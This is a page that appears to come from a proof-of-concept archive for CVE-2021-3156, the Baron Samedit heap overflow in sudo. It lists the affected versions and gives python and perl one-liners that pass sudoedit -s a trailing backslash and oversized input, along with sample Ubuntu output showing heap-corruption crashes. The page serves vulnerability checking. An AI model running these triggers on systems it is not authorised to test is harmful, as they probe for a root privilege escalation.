CVE-2021-3156 PoC — Sudo 缓冲区错误漏洞

Source

Associated Vulnerability

Readme

# Baron-Samedit-Heap-Buffer-Overflow-CVE-2021-3156
---

### Version Vulnarable To The Exploit

The Baron Samedit vulnerability (CVE-2021-3156) affects sudo legacy versions 1.8.2 through 1.8.31p2 and stable versions 1.9.0 through 1.9.5p1. This heap-based buffer overflow flaw was introduced in July 2011 via commit 8255ed69 and remained undetected for nearly a decade

Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character.


### Checking the vulnarability with python command

```sh
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
```

```sh
malloc(): invalid size (unsorted)
Aborted
```

### Checking the vulnarability with python command

```sh
sudoedit -s '\' `perl -e 'print "A" x 65536'`
```

```sh
malloc(): corrupted top size
Aborted (core dumped)
```

### Ussage and Result in ubuntu 20.04

```bash
shuhaib@somebox:~$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31

shuhaib@somebox:~$ sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted (core dumped)

shuhaib@somebox:~$ sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
```

File Snapshot

 [4.0K]  /data/pocs/123d8736876f3ecc926af80de6255516a0ad2a7d
├── [ 17K]  CVE-2021-3156 checking with perl command.md
├── [2.6K]  CVE-2021-3156 checking with python command.md
├── [1.4K]  README.md
└── [3.3K]  sudo version vulnarable to exploit.md

0 directories, 4 files

Remarks